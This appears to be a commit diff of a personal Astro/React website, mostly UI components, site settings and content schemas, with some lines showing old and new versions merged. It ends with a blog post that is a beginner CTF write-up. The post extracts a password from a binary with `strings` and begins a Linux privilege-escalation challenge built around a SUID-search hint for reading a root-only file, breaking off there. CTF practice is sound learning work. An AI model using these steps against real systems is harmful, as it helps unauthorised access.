React.ComponentPropsWithoutRef<typeof DropdownMenuPrimitive.SubContent>
>(({ className, ...props }, ref) => (
<DropdownMenuPrimitive.SubContent
ref={ref}
className={cn(
"z-50 min-w-[8rem] overflow-hidden rounded-md border bg-popover p-1 text-popover-foreground shadow-lg data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0 data-[state=closed]:zoom-out-95 data-[state=open]:zoom-in-95 data-[side=bottom]:slide-in-from-top-2 data-[side=left]:slide-in-from-right-2 data-[side=right]:slide-in-from-left-2 data-[side=top]:slide-in-from-bottom-2",
className
)}
{...props}
/>
))
DropdownMenuSubContent.displayName =
DropdownMenuPrimitive.SubContent.displayName
const DropdownMenuContent = React.forwardRef<
React.ElementRef<typeof DropdownMenuPrimitive.Content>,
React.ComponentPropsWithoutRef<typeof DropdownMenuPrimitive.Content>
>(({ className, sideOffset = 4, ...props }, ref) => (
<DropdownMenuPrimitive.Portal>
<DropdownMenuPrimitive.Content
ref={ref}
sideOffset={sideOffset}
className={cn(
"z-50 min-w-[8rem] overflow-hidden rounded-md border bg-popover p-1 text-popover-foreground shadow-md data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0 data-[state=closed]:zoom-out-95 data-[state=open]:zoom-in-95 data-[side=bottom]:slide-in-from-top-2 data-[side=left]:slide-in-from-right-2 data-[side=right]:slide-in-from-left-2 data-[side=top]:slide-in-from-bottom-2",
className
)}
{...props}
/>
</DropdownMenuPrimitive.Portal>
))
DropdownMenuContent.displayName = DropdownMenuPrimitive.Content.displayName
const DropdownMenuItem = React.forwardRef<
React.ElementRef<typeof DropdownMenuPrimitive.Item>,
React.ComponentPropsWithoutRef<typeof DropdownMenuPrimitive.Item> & {
inset?: boolean
}
>(({ className, inset, ...props }, ref) => (
<DropdownMenuPrimitive.Item
ref={ref}
className={cn(
"relative flex cursor-default select-none items-center rounded-sm px-2 py-1.5 text-sm outline-none transition-colors focus:bg-accent focus:text-accent-foreground data-[disabled]:pointer-events-none data-[disabled]:opacity-50",
inset && "pl-8",
className
)}
{...props}
/>
))
DropdownMenuItem.displayName = DropdownMenuPrimitive.Item.displayName
const DropdownMenuCheckboxItem = React.forwardRef<
React.ElementRef<typeof DropdownMenuPrimitive.CheckboxItem>,
React.ComponentPropsWithoutRef<typeof DropdownMenuPrimitive.CheckboxItem>
>(({ className, children, checked, ...props }, ref) => (
<DropdownMenuPrimitive.CheckboxItem
ref={ref}
className={cn(
"relative flex cursor-default select-none items-center rounded-sm py-1.5 pl-8 pr-2 text-sm outline-none transition-colors focus:bg-accent focus:text-accent-foreground data-[disabled]:pointer-events-none data-[disabled]:opacity-50",
className
)}
checked={checked}
{...props}
>
<span className="absolute left-2 flex h-3.5 w-3.5 items-center justify-center">
<DropdownMenuPrimitive.ItemIndicator>
<Check className="h-4 w-4" />
</DropdownMenuPrimitive.ItemIndicator>
</span>
{children}
</DropdownMenuPrimitive.CheckboxItem>
))
DropdownMenuCheckboxItem.displayName =
DropdownMenuPrimitive.CheckboxItem.displayName
const DropdownMenuRadioItem = React.forwardRef<
React.ElementRef<typeof DropdownMenuPrimitive.RadioItem>,
React.ComponentPropsWithoutRef<typeof DropdownMenuPrimitive.RadioItem>
>(({ className, children, ...props }, ref) => (
<DropdownMenuPrimitive.RadioItem
ref={ref}
className={cn(
"relative flex cursor-default select-none items-center rounded-sm py-1.5 pl-8 pr-2 text-sm outline-none transition-colors focus:bg-accent focus:text-accent-foreground data-[disabled]:pointer-events-none data-[disabled]:opacity-50",
className
)}
{...props}
>
<span className="absolute left-2 flex h-3.5 w-3.5 items-center justify-center">
<DropdownMenuPrimitive.ItemIndicator>
<Circle className="h-2 w-2 fill-current" />
</DropdownMenuPrimitive.ItemIndicator>
</span>
{children}
</DropdownMenuPrimitive.RadioItem>
))
DropdownMenuRadioItem.displayName = DropdownMenuPrimitive.RadioItem.displayName
const DropdownMenuLabel = React.forwardRef<
React.ElementRef<typeof DropdownMenuPrimitive.Label>,
React.ComponentPropsWithoutRef<typeof DropdownMenuPrimitive.Label> & {
inset?: boolean
}
>(({ className, inset, ...props }, ref) => (
<DropdownMenuPrimitive.Label
ref={ref}
className={cn(
"px-2 py-1.5 text-sm font-semibold",
inset && "pl-8",
className
)}
{...props}
/>
))
DropdownMenuLabel.displayName = DropdownMenuPrimitive.Label.displayName
const DropdownMenuSeparator = React.forwardRef<
React.ElementRef<typeof DropdownMenuPrimitive.Separator>,
React.ComponentPropsWithoutRef<typeof DropdownMenuPrimitive.Separator>
>(({ className, ...props }, ref) => (
<DropdownMenuPrimitive.Separator
ref={ref}
className={cn("-mx-1 my-1 h-px bg-muted", className)}
{...props}
/>
))
DropdownMenuSeparator.displayName = DropdownMenuPrimitive.Separator.displayName
const DropdownMenuShortcut = ({
className,
...props ...props
}: React.HTMLAttributes<HTMLSpanElement>) => { }: React.ComponentProps<typeof DropdownMenuPrimitive.Root>) {
return <DropdownMenuPrimitive.Root data-slot="dropdown-menu" {...props} />
}
function DropdownMenuPortal({
...props
}: React.ComponentProps<typeof DropdownMenuPrimitive.Portal>) {
return ( return (
<span <DropdownMenuPrimitive.Portal data-slot="dropdown-menu-portal" {...props} />
className={cn("ml-auto text-xs tracking-widest opacity-60", className)} )
}
function DropdownMenuTrigger({
...props
}: React.ComponentProps<typeof DropdownMenuPrimitive.Trigger>) {
return (
<DropdownMenuPrimitive.Trigger
data-slot="dropdown-menu-trigger"
{...props}
/>
)
}
function DropdownMenuContent({
className,
sideOffset = 4,
...props
}: React.ComponentProps<typeof DropdownMenuPrimitive.Content>) {
return (
<DropdownMenuPrimitive.Portal>
<DropdownMenuPrimitive.Content
data-slot="dropdown-menu-content"
sideOffset={sideOffset}
className={cn(
'bg-popover text-popover-foreground z-50 max-h-(--radix-dropdown-menu-content-available-height) min-w-[8rem] origin-(--radix-dropdown-menu-content-transform-origin) overflow-x-hidden overflow-y-auto rounded-md border p-1 shadow-md',
className,
)}
{...props}
/>
</DropdownMenuPrimitive.Portal>
)
}
function DropdownMenuGroup({
...props
}: React.ComponentProps<typeof DropdownMenuPrimitive.Group>) {
return (
<DropdownMenuPrimitive.Group data-slot="dropdown-menu-group" {...props} />
)
}
function DropdownMenuItem({
className,
inset,
variant = 'default',
...props
}: React.ComponentProps<typeof DropdownMenuPrimitive.Item> & {
inset?: boolean
variant?: 'default' | 'destructive'
}) {
return (
<DropdownMenuPrimitive.Item
data-slot="dropdown-menu-item"
data-inset={inset}
data-variant={variant}
className={cn(
"focus:bg-accent focus:text-accent-foreground data-[variant=destructive]:text-destructive data-[variant=destructive]:focus:bg-destructive/10 dark:data-[variant=destructive]:focus:bg-destructive/20 data-[variant=destructive]:focus:text-destructive data-[variant=destructive]:*:[svg]:!text-destructive [&_svg:not([class*='text-'])]:text-muted-foreground relative flex cursor-default items-center gap-2 rounded-sm px-2 py-1.5 text-sm outline-hidden select-none data-[disabled]:pointer-events-none data-[disabled]:opacity-50 data-[inset]:pl-8 [&_svg]:pointer-events-none [&_svg]:shrink-0 [&_svg:not([class*='size-'])]:size-4",
className,
)}
{...props}
/>
)
}
function DropdownMenuCheckboxItem({
className,
children,
checked,
...props
}: React.ComponentProps<typeof DropdownMenuPrimitive.CheckboxItem>) {
return (
<DropdownMenuPrimitive.CheckboxItem
data-slot="dropdown-menu-checkbox-item"
className={cn(
"focus:bg-accent focus:text-accent-foreground relative flex cursor-default items-center gap-2 rounded-sm py-1.5 pr-2 pl-8 text-sm outline-hidden select-none data-[disabled]:pointer-events-none data-[disabled]:opacity-50 [&_svg]:pointer-events-none [&_svg]:shrink-0 [&_svg:not([class*='size-'])]:size-4",
className,
)}
checked={checked}
{...props}
>
<span className="pointer-events-none absolute left-2 flex size-3.5 items-center justify-center">
<DropdownMenuPrimitive.ItemIndicator>
<CheckIcon className="size-4" />
</DropdownMenuPrimitive.ItemIndicator>
</span>
{children}
</DropdownMenuPrimitive.CheckboxItem>
)
}
function DropdownMenuRadioGroup({
...props
}: React.ComponentProps<typeof DropdownMenuPrimitive.RadioGroup>) {
return (
<DropdownMenuPrimitive.RadioGroup
data-slot="dropdown-menu-radio-group"
{...props}
/>
)
}
function DropdownMenuRadioItem({
className,
children,
...props
}: React.ComponentProps<typeof DropdownMenuPrimitive.RadioItem>) {
return (
<DropdownMenuPrimitive.RadioItem
data-slot="dropdown-menu-radio-item"
className={cn(
"focus:bg-accent focus:text-accent-foreground relative flex cursor-default items-center gap-2 rounded-sm py-1.5 pr-2 pl-8 text-sm outline-hidden select-none data-[disabled]:pointer-events-none data-[disabled]:opacity-50 [&_svg]:pointer-events-none [&_svg]:shrink-0 [&_svg:not([class*='size-'])]:size-4",
className,
)}
{...props}
>
<span className="pointer-events-none absolute left-2 flex size-3.5 items-center justify-center">
<DropdownMenuPrimitive.ItemIndicator>
<CircleIcon className="size-2 fill-current" />
</DropdownMenuPrimitive.ItemIndicator>
</span>
{children}
</DropdownMenuPrimitive.RadioItem>
)
}
function DropdownMenuLabel({
className,
inset,
...props
}: React.ComponentProps<typeof DropdownMenuPrimitive.Label> & {
inset?: boolean
}) {
return (
<DropdownMenuPrimitive.Label
data-slot="dropdown-menu-label"
data-inset={inset}
className={cn(
'px-2 py-1.5 text-sm font-medium data-[inset]:pl-8',
className,
)}
{...props}
/>
)
}
function DropdownMenuSeparator({
className,
...props
}: React.ComponentProps<typeof DropdownMenuPrimitive.Separator>) {
return (
<DropdownMenuPrimitive.Separator
data-slot="dropdown-menu-separator"
className={cn('bg-border -mx-1 my-1 h-px', className)}
{...props}
/>
)
}
function DropdownMenuShortcut({
className,
...props
}: React.ComponentProps<'span'>) {
return (
<span
data-slot="dropdown-menu-shortcut"
className={cn(
'text-muted-foreground ml-auto text-xs tracking-widest',
className,
)}
{...props}
/>
)
}
function DropdownMenuSub({
...props
}: React.ComponentProps<typeof DropdownMenuPrimitive.Sub>) {
return <DropdownMenuPrimitive.Sub data-slot="dropdown-menu-sub" {...props} />
}
function DropdownMenuSubTrigger({
className,
inset,
children,
...props
}: React.ComponentProps<typeof DropdownMenuPrimitive.SubTrigger> & {
inset?: boolean
}) {
return (
<DropdownMenuPrimitive.SubTrigger
data-slot="dropdown-menu-sub-trigger"
data-inset={inset}
className={cn(
'focus:bg-accent focus:text-accent-foreground data-[state=open]:bg-accent data-[state=open]:text-accent-foreground flex cursor-default items-center rounded-sm px-2 py-1.5 text-sm outline-hidden select-none data-[inset]:pl-8',
className,
)}
{...props}
>
{children}
<ChevronRightIcon className="ml-auto size-4" />
</DropdownMenuPrimitive.SubTrigger>
)
}
function DropdownMenuSubContent({
className,
...props
}: React.ComponentProps<typeof DropdownMenuPrimitive.SubContent>) {
return (
<DropdownMenuPrimitive.SubContent
data-slot="dropdown-menu-sub-content"
className={cn(
'bg-popover text-popover-foreground z-50 min-w-[8rem] origin-(--radix-dropdown-menu-content-transform-origin) overflow-hidden rounded-md border p-1 shadow-lg',
className,
)}
{...props} {...props}
/> />
) )
} }
DropdownMenuShortcut.displayName = "DropdownMenuShortcut"
export { export {
DropdownMenu, DropdownMenu,
DropdownMenuPortal,
DropdownMenuTrigger, DropdownMenuTrigger,
DropdownMenuContent, DropdownMenuContent,
DropdownMenuGroup,
DropdownMenuLabel,
DropdownMenuItem, DropdownMenuItem,
DropdownMenuCheckboxItem, DropdownMenuCheckboxItem,
DropdownMenuRadioGroup,
DropdownMenuRadioItem, DropdownMenuRadioItem,
DropdownMenuLabel,
DropdownMenuSeparator, DropdownMenuSeparator,
DropdownMenuShortcut, DropdownMenuShortcut,
DropdownMenuGroup,
DropdownMenuPortal,
DropdownMenuSub, DropdownMenuSub,
DropdownMenuSubContent,
DropdownMenuSubTrigger, DropdownMenuSubTrigger,
DropdownMenuRadioGroup, DropdownMenuSubContent,
} }

View File

@@ -0,0 +1,65 @@
import { useState, useEffect } from 'react'
import { Button } from '@/components/ui/button'
import {
DropdownMenu,
DropdownMenuContent,
DropdownMenuItem,
DropdownMenuTrigger,
} from '@/components/ui/dropdown-menu'
import { NAV_LINKS } from '@/consts'
import { Menu } from 'lucide-react'
const MobileMenu = () => {
const [isOpen, setIsOpen] = useState(false)
useEffect(() => {
const handleViewTransitionStart = () => {
setIsOpen(false)
}
document.addEventListener('astro:before-swap', handleViewTransitionStart)
return () => {
document.removeEventListener(
'astro:before-swap',
handleViewTransitionStart,
)
}
}, [])
return (
<DropdownMenu open={isOpen} onOpenChange={(val) => setIsOpen(val)}>
<DropdownMenuTrigger
asChild
onClick={() => {
setIsOpen((val) => !val)
}}
>
<Button
variant="ghost"
size="icon"
className="size-8 sm:hidden"
title="Menu"
>
<Menu className="size-5" />
<span className="sr-only">Toggle menu</span>
</Button>
</DropdownMenuTrigger>
<DropdownMenuContent align="end" className="bg-background">
{NAV_LINKS.map((item) => (
<DropdownMenuItem key={item.href} asChild>
<a
href={item.href}
className="w-full text-lg font-medium capitalize"
onClick={() => setIsOpen(false)}
>
{item.label}
</a>
</DropdownMenuItem>
))}
</DropdownMenuContent>
</DropdownMenu>
)
}
export default MobileMenu

View File

@@ -1,52 +0,0 @@
import * as React from "react"
import { Moon, Sun } from "lucide-react"
import { Button } from "@/components/ui/button"
import {
DropdownMenu,
DropdownMenuContent,
DropdownMenuItem,
DropdownMenuTrigger,
} from "@/components/ui/dropdown-menu"
export function ModeToggle() {
const [theme, setThemeState] = React.useState<
"theme-light" | "dark" | "system"
>("theme-light")
React.useEffect(() => {
const isDarkMode = document.documentElement.classList.contains("dark")
setThemeState(isDarkMode ? "dark" : "theme-light")
}, [])
React.useEffect(() => {
const isDark =
theme === "dark" ||
(theme === "system" &&
window.matchMedia("(prefers-color-scheme: dark)").matches)
document.documentElement.classList[isDark ? "add" : "remove"]("dark")
}, [theme])
return (
<DropdownMenu>
<DropdownMenuTrigger asChild>
<Button variant="outline" size="icon">
<Sun className="h-[1.2rem] w-[1.2rem] rotate-0 scale-100 transition-all dark:-rotate-90 dark:scale-0" />
<Moon className="absolute h-[1.2rem] w-[1.2rem] rotate-90 scale-0 transition-all dark:rotate-0 dark:scale-100" />
<span className="sr-only">Toggle theme</span>
</Button>
</DropdownMenuTrigger>
<DropdownMenuContent align="end">
<DropdownMenuItem onClick={() => setThemeState("theme-light")}>
Light
</DropdownMenuItem>
<DropdownMenuItem onClick={() => setThemeState("dark")}>
Dark
</DropdownMenuItem>
<DropdownMenuItem onClick={() => setThemeState("system")}>
System
</DropdownMenuItem>
</DropdownMenuContent>
</DropdownMenu>
)
}

View File

@@ -0,0 +1,195 @@
import * as React from 'react'
import {
ChevronLeftIcon,
ChevronRightIcon,
MoreHorizontalIcon,
} from 'lucide-react'
import { cn } from '@/lib/utils'
import { Button, buttonVariants } from '@/components/ui/button'
function Pagination({ className, ...props }: React.ComponentProps<'nav'>) {
return (
<nav
role="navigation"
aria-label="pagination"
data-slot="pagination"
className={cn('mx-auto flex w-full justify-center', className)}
{...props}
/>
)
}
function PaginationContent({
className,
...props
}: React.ComponentProps<'ul'>) {
return (
<ul
data-slot="pagination-content"
className={cn('flex flex-row items-center gap-1', className)}
{...props}
/>
)
}
function PaginationItem({ ...props }: React.ComponentProps<'li'>) {
return <li data-slot="pagination-item" {...props} />
}
type PaginationLinkProps = {
isActive?: boolean
isDisabled?: boolean
} & Pick<React.ComponentProps<typeof Button>, 'size'> &
React.ComponentProps<'a'>
function PaginationLink({
className,
isActive,
isDisabled,
size = 'icon',
...props
}: PaginationLinkProps) {
return (
<a
aria-current={isActive ? 'page' : undefined}
data-slot="pagination-link"
data-active={isActive}
data-disabled={isDisabled}
className={cn(
buttonVariants({
variant: isActive ? 'outline' : 'ghost',
size,
}),
isDisabled && 'pointer-events-none opacity-50',
className,
)}
{...props}
/>
)
}
function PaginationPrevious({
className,
isDisabled,
...props
}: React.ComponentProps<typeof PaginationLink>) {
return (
<PaginationLink
aria-label="Go to previous page"
size="default"
className={cn('gap-1 px-2.5 sm:pl-2.5', className)}
isDisabled={isDisabled}
{...props}
>
<ChevronLeftIcon />
<span className="hidden sm:block">Previous</span>
</PaginationLink>
)
}
function PaginationNext({
className,
isDisabled,
...props
}: React.ComponentProps<typeof PaginationLink>) {
return (
<PaginationLink
aria-label="Go to next page"
size="default"
className={cn('gap-1 px-2.5 sm:pr-2.5', className)}
isDisabled={isDisabled}
{...props}
>
<span className="hidden sm:block">Next</span>
<ChevronRightIcon />
</PaginationLink>
)
}
function PaginationEllipsis({
className,
...props
}: React.ComponentProps<'span'>) {
return (
<span
aria-hidden
data-slot="pagination-ellipsis"
className={cn('flex size-9 items-center justify-center', className)}
{...props}
>
<MoreHorizontalIcon className="size-4" />
<span className="sr-only">More pages</span>
</span>
)
}
const PaginationComponent: React.FC<PaginationProps> = ({
currentPage,
totalPages,
baseUrl,
}) => {
const pages = Array.from({ length: totalPages }, (_, i) => i + 1)
const getPageUrl = (page: number) => {
if (page === 1) return baseUrl
return `${baseUrl}${page}`
}
return (
<Pagination>
<PaginationContent className="flex-wrap">
<PaginationItem>
<PaginationPrevious
href={currentPage > 1 ? getPageUrl(currentPage - 1) : undefined}
isDisabled={currentPage === 1}
/>
</PaginationItem>
{pages.map((page) => (
<PaginationItem key={page}>
<PaginationLink
href={getPageUrl(page)}
isActive={page === currentPage}
>
{page}
</PaginationLink>
</PaginationItem>
))}
{totalPages > 5 && (
<PaginationItem>
<PaginationEllipsis />
</PaginationItem>
)}
<PaginationItem>
<PaginationNext
href={
currentPage < totalPages ? getPageUrl(currentPage + 1) : undefined
}
isDisabled={currentPage === totalPages}
/>
</PaginationItem>
</PaginationContent>
</Pagination>
)
}
interface PaginationProps {
currentPage: number
totalPages: number
baseUrl: string
}
export default PaginationComponent
export {
Pagination,
PaginationContent,
PaginationLink,
PaginationItem,
PaginationPrevious,
PaginationNext,
PaginationEllipsis,
}

View File

@@ -0,0 +1,109 @@
// @ts-nocheck
import React from "react"
import { Star } from "lucide-react"
import { cn } from "@/lib/utils"
const ratingVariants = {
default: {
star: "text-primary",
emptyStar: "text-muted-foreground",
},
destructive: {
star: "text-red-500",
emptyStar: "text-red-200",
},
yellow: {
star: "text-yellow-500",
emptyStar: "text-yellow-200",
},
}
interface RatingsProps extends React.HTMLAttributes<HTMLDivElement> {
rating: number
totalStars?: number
size?: number
fill?: boolean
Icon?: React.ReactElement
variant?: keyof typeof ratingVariants
}
const Ratings = ({ ...props }: RatingsProps) => {
const {
rating,
totalStars = 5,
size = 20,
fill = true,
Icon = <Star />,
variant = "default",
} = props
const fullStars = Math.floor(rating)
const partialStar =
rating % 1 > 0 ? (
<PartialStar
fillPercentage={rating % 1}
size={size}
className={cn(ratingVariants[variant].star)}
Icon={Icon}
/>
) : null
return (
<div className={cn("flex items-center gap-2")} {...props}>
{[...Array(fullStars)].map((_, i) =>
React.cloneElement(Icon, {
key: i,
size,
className: cn(
fill ? "fill-current" : "fill-transparent",
ratingVariants[variant].star
),
})
)}
{partialStar}
{[...Array(totalStars - fullStars - (partialStar ? 1 : 0))].map((_, i) =>
React.cloneElement(Icon, {
key: i + fullStars + 1,
size,
className: cn(ratingVariants[variant].emptyStar),
})
)}
</div>
)
}
interface PartialStarProps {
fillPercentage: number
size: number
className?: string
Icon: React.ReactElement
}
const PartialStar = ({ ...props }: PartialStarProps) => {
const { fillPercentage, size, className, Icon } = props
return (
<div style={{ position: "relative", display: "inline-block" }}>
{React.cloneElement(Icon, {
size,
className: cn("fill-transparent", className),
})}
<div
style={{
position: "absolute",
top: 0,
overflow: "hidden",
width: `${fillPercentage * 100}%`,
}}
>
{React.cloneElement(Icon, {
size,
className: cn("fill-current", className),
})}
</div>
</div>
)
}
export { Ratings }

View File

@@ -0,0 +1,56 @@
import * as React from 'react'
import { ScrollArea as ScrollAreaPrimitive } from 'radix-ui'
import { cn } from '@/lib/utils'
function ScrollArea({
className,
children,
...props
}: React.ComponentProps<typeof ScrollAreaPrimitive.Root>) {
return (
<ScrollAreaPrimitive.Root
data-slot="scroll-area"
className={cn('relative', className)}
{...props}
>
<ScrollAreaPrimitive.Viewport
data-slot="scroll-area-viewport"
className="ring-ring/10 dark:ring-ring/20 dark:outline-ring/40 outline-ring/50 size-full rounded-[inherit] transition-[color,box-shadow] focus-visible:ring-4 focus-visible:outline-1"
>
{children}
</ScrollAreaPrimitive.Viewport>
<ScrollBar />
<ScrollAreaPrimitive.Corner />
</ScrollAreaPrimitive.Root>
)
}
function ScrollBar({
className,
orientation = 'vertical',
...props
}: React.ComponentProps<typeof ScrollAreaPrimitive.ScrollAreaScrollbar>) {
return (
<ScrollAreaPrimitive.ScrollAreaScrollbar
data-slot="scroll-area-scrollbar"
orientation={orientation}
className={cn(
'flex touch-none p-px transition-colors select-none',
orientation === 'vertical' &&
'h-full w-2.5 border-l border-l-transparent',
orientation === 'horizontal' &&
'h-2.5 flex-col border-t border-t-transparent',
className,
)}
{...props}
>
<ScrollAreaPrimitive.ScrollAreaThumb
data-slot="scroll-area-thumb"
className="bg-border relative flex-1 rounded-full"
/>
</ScrollAreaPrimitive.ScrollAreaScrollbar>
)
}
export { ScrollArea, ScrollBar }

View File

@@ -0,0 +1,26 @@
import * as React from 'react'
import { Separator as SeparatorPrimitive } from 'radix-ui'
import { cn } from '@/lib/utils'
function Separator({
className,
orientation = 'horizontal',
decorative = true,
...props
}: React.ComponentProps<typeof SeparatorPrimitive.Root>) {
return (
<SeparatorPrimitive.Root
data-slot="separator-root"
decorative={decorative}
orientation={orientation}
className={cn(
'bg-border shrink-0 data-[orientation=horizontal]:h-px data-[orientation=horizontal]:w-full data-[orientation=vertical]:h-full data-[orientation=vertical]:w-px',
className,
)}
{...props}
/>
)
}
export { Separator }

View File

@@ -0,0 +1,13 @@
import { cn } from "@/lib/utils"
function Skeleton({ className, ...props }: React.ComponentProps<"div">) {
return (
<div
data-slot="skeleton"
className={cn("bg-accent animate-pulse rounded-md", className)}
{...props}
/>
)
}
export { Skeleton }

View File

@@ -0,0 +1,63 @@
// @ts-nocheck
"use client"
import * as React from "react"
import * as ToggleGroupPrimitive from "@radix-ui/react-toggle-group"
import { type VariantProps } from "class-variance-authority"
import { cn } from "@/lib/utils"
import { toggleVariants } from "@/components/ui/toggle"
const ToggleGroupContext = React.createContext<
VariantProps<typeof toggleVariants>
>({
size: "default",
variant: "default",
})
const ToggleGroup = React.forwardRef<
React.ElementRef<typeof ToggleGroupPrimitive.Root>,
React.ComponentPropsWithoutRef<typeof ToggleGroupPrimitive.Root> &
VariantProps<typeof toggleVariants>
>(({ className, variant, size, children, ...props }, ref) => (
<ToggleGroupPrimitive.Root
ref={ref}
className={cn("flex items-center justify-center gap-1", className)}
{...props}
>
<ToggleGroupContext.Provider value={{ variant, size }}>
{children}
</ToggleGroupContext.Provider>
</ToggleGroupPrimitive.Root>
))
ToggleGroup.displayName = ToggleGroupPrimitive.Root.displayName
const ToggleGroupItem = React.forwardRef<
React.ElementRef<typeof ToggleGroupPrimitive.Item>,
React.ComponentPropsWithoutRef<typeof ToggleGroupPrimitive.Item> &
VariantProps<typeof toggleVariants>
>(({ className, children, variant, size, ...props }, ref) => {
const context = React.useContext(ToggleGroupContext)
return (
<ToggleGroupPrimitive.Item
ref={ref}
className={cn(
toggleVariants({
variant: context.variant || variant,
size: context.size || size,
}),
className
)}
{...props}
>
{children}
</ToggleGroupPrimitive.Item>
)
})
ToggleGroupItem.displayName = ToggleGroupPrimitive.Item.displayName
export { ToggleGroup, ToggleGroupItem }

View File

@@ -0,0 +1,45 @@
import * as React from "react"
import * as TogglePrimitive from "@radix-ui/react-toggle"
import { cva, type VariantProps } from "class-variance-authority"
import { cn } from "@/lib/utils"
const toggleVariants = cva(
"inline-flex items-center justify-center gap-2 rounded-md text-sm font-medium hover:bg-muted hover:text-muted-foreground disabled:pointer-events-none disabled:opacity-50 data-[state=on]:bg-accent data-[state=on]:text-accent-foreground [&_svg]:pointer-events-none [&_svg:not([class*='size-'])]:size-4 [&_svg]:shrink-0 focus-visible:border-ring focus-visible:ring-ring/50 focus-visible:ring-[3px] outline-none transition-[color,box-shadow] aria-invalid:ring-destructive/20 dark:aria-invalid:ring-destructive/40 aria-invalid:border-destructive whitespace-nowrap",
{
variants: {
variant: {
default: "bg-transparent",
outline:
"border border-input bg-transparent shadow-xs hover:bg-accent hover:text-accent-foreground",
},
size: {
default: "h-9 px-2 min-w-9",
sm: "h-8 px-1.5 min-w-8",
lg: "h-10 px-2.5 min-w-10",
},
},
defaultVariants: {
variant: "default",
size: "default",
},
}
)
function Toggle({
className,
variant,
size,
...props
}: React.ComponentProps<typeof TogglePrimitive.Root> &
VariantProps<typeof toggleVariants>) {
return (
<TogglePrimitive.Root
data-slot="toggle"
className={cn(toggleVariants({ variant, size, className }))}
{...props}
/>
)
}
export { Toggle, toggleVariants }

View File

@@ -1,5 +1,47 @@
// Place any global data in this file. import type { IconMap, SocialLink, Site } from '@/types'
// You can import this data from anywhere in your site by using the `import` keyword.
export const SITE_TITLE = 'Sr Izan\'s website'; export const SITE: Site = {
export const SITE_DESCRIPTION = 'Welcome to my website!'; title: "eth0's corner",
description:
"Ethan's personal website, where I share my thoughts on programming, language learning and life.",
href: 'https://srizan.dev',
author: 'SrIzan10',
locale: 'en-US',
featuredPostCount: 2,
postsPerPage: 3,
}
export const NAV_LINKS: SocialLink[] = [
{
href: '/blog',
label: 'blog',
},
{
href: '/about',
label: 'about',
},
]
export const SOCIAL_LINKS: SocialLink[] = [
{
href: 'https://github.com/SrIzan10',
label: 'GitHub',
},
{
href: 'mailto:izan@srizan.dev',
label: 'Email',
},
{
href: '/rss.xml',
label: 'RSS',
},
]
export const ICON_MAP: IconMap = {
Website: 'lucide:globe',
GitHub: 'lucide:github',
LinkedIn: 'lucide:linkedin',
Twitter: 'lucide:twitter',
Email: 'lucide:mail',
RSS: 'lucide:rss',
}

49
src/content.config.ts Normal file
View File

@@ -0,0 +1,49 @@
import { glob } from 'astro/loaders'
import { defineCollection, z } from 'astro:content'
const blog = defineCollection({
loader: glob({ pattern: '**/*.{md,mdx}', base: './src/content/blog' }),
schema: ({ image }) =>
z.object({
title: z.string(),
description: z.string(),
date: z.coerce.date(),
image: image().optional(),
tags: z.array(z.string()).optional(),
authors: z.array(z.string()).optional(),
draft: z.boolean().optional(),
discogs: z.string().optional(),
}),
})
const authors = defineCollection({
loader: glob({ pattern: '**/*.{md,mdx}', base: './src/content/authors' }),
schema: z.object({
name: z.string(),
pronouns: z.string().optional(),
avatar: z.string().url().or(z.string().startsWith('/')),
bio: z.string().optional(),
mail: z.string().email().optional(),
website: z.string().url().optional(),
twitter: z.string().url().optional(),
github: z.string().url().optional(),
linkedin: z.string().url().optional(),
discord: z.string().url().optional(),
}),
})
const projects = defineCollection({
loader: glob({ pattern: '**/*.{md,mdx}', base: './src/content/projects' }),
schema: ({ image }) =>
z.object({
name: z.string(),
description: z.string(),
tags: z.array(z.string()),
image: image(),
link: z.string().url(),
startDate: z.coerce.date().optional(),
endDate: z.coerce.date().optional(),
}),
})
export const collections = { blog, authors, projects }

View File

@@ -0,0 +1,9 @@
---
name: 'Izan'
pronouns: 'he/him'
avatar: 'https://gravatar.com/avatar/0898f5321fb888e9a9c63da50b1974f12f912cda2f83c06ceec0f6fdc9d783b3?size=256'
bio: 'Spanish developer, tech enthusiast and language learner.'
website: 'https://srizan.dev'
github: 'https://github.com/SrIzan10'
mail: 'izan@srizan.dev'
---

265
src/content/blog/hw-2026-ctf/index.mdx vendored Normal file
View File

@@ -0,0 +1,265 @@
---
title: 'hackers week 2026 ctf (basic) writeup - 3rd place'
description: 'UMA hackers week CTF writeup! (basic level)'
date: 2026-03-13
authors: ['srizan']
tags: ['ctf', 'cybersec']
---
## disclaimer
cybersec is not my main "field of work", it's rather software/webdev etc etc so this was a bit unexpected.
i have sometimes dabbled into pentesting but i'm not the best at it at all.
keep in mind that this is not a serious writeup, so my english may be a small bit sloppy at times.
## misc - linux executable
solve numero uno.
```
Realizando un análisis forense de Helix Corp., Hemos recuperado un ejecutable Linux llamado "candado_meta" que protege una flag mediante contraseña. No disponemos de la contraseña, pero sospechamos que el desarrollador dejó demasiada información dentro del propio ejecutable
```
i first ran the executable to see what happens:
```=== Helix Locker v1.0 ===
Introduce la contrasena correcta para desbloquear la flag.
>
```
badly compiled linux executables can usually be exploited with `strings` (i think i learned this from john hammond), thus i:
```
$ strings candado_meta
[...]
author=Hackers Week
challenge=REV-META1
difficulty=principiante
password=LlaveMeta_2026
hint=Los metadatos del ejecutable dicen mas de lo que parece
[...]
```
aand that was the password lmao
typing it in:
```=== Helix Locker v1.0 ===
Introduce la contrasena correcta para desbloquear la flag.
> LlaveMeta_2026
\n[+] Acceso concedido. Tu flag es: flag_metadatos_no_son_solo_comentarios\n
```
## linux - permissions 1
```
Durante el análisis forense de los sistemas de Helix Corp, el equipo de respuesta ha obtenido acceso a una cuenta de usuario sin privilegios en uno de los servidores internos.
[...]
El equipo de sistemas dejó instalada una herramienta de diagnóstico personalizada que, según la documentación interna, “requiere permisos elevados para acceder a logs del sistema”. Analiza cómo está configurada. El objetivo es escalar privilegios para leer el fichero de flag protegido por root. La solución de este reto es el fichero de flag protegido por root. La flag deseada empieza por “flag_”
```
yeah so i basically sshed and greeted with a shell, i ran the clue:
```
╔══════════════════════════════════════════════════════════════╗
║ HELIX CORP — SISTEMA DE ANÁLISIS FORENSE ║
║ RETO PRIV-02 ║
╚══════════════════════════════════════════════════════════════╝
Bienvenido, analyst.
Tu misión: leer /root/flag.txt
El equipo de sistemas instaló herramientas de diagnóstico.
Alguna fue configurada de forma incorrecta...
Pista: find / -perm -4000 2>/dev/null
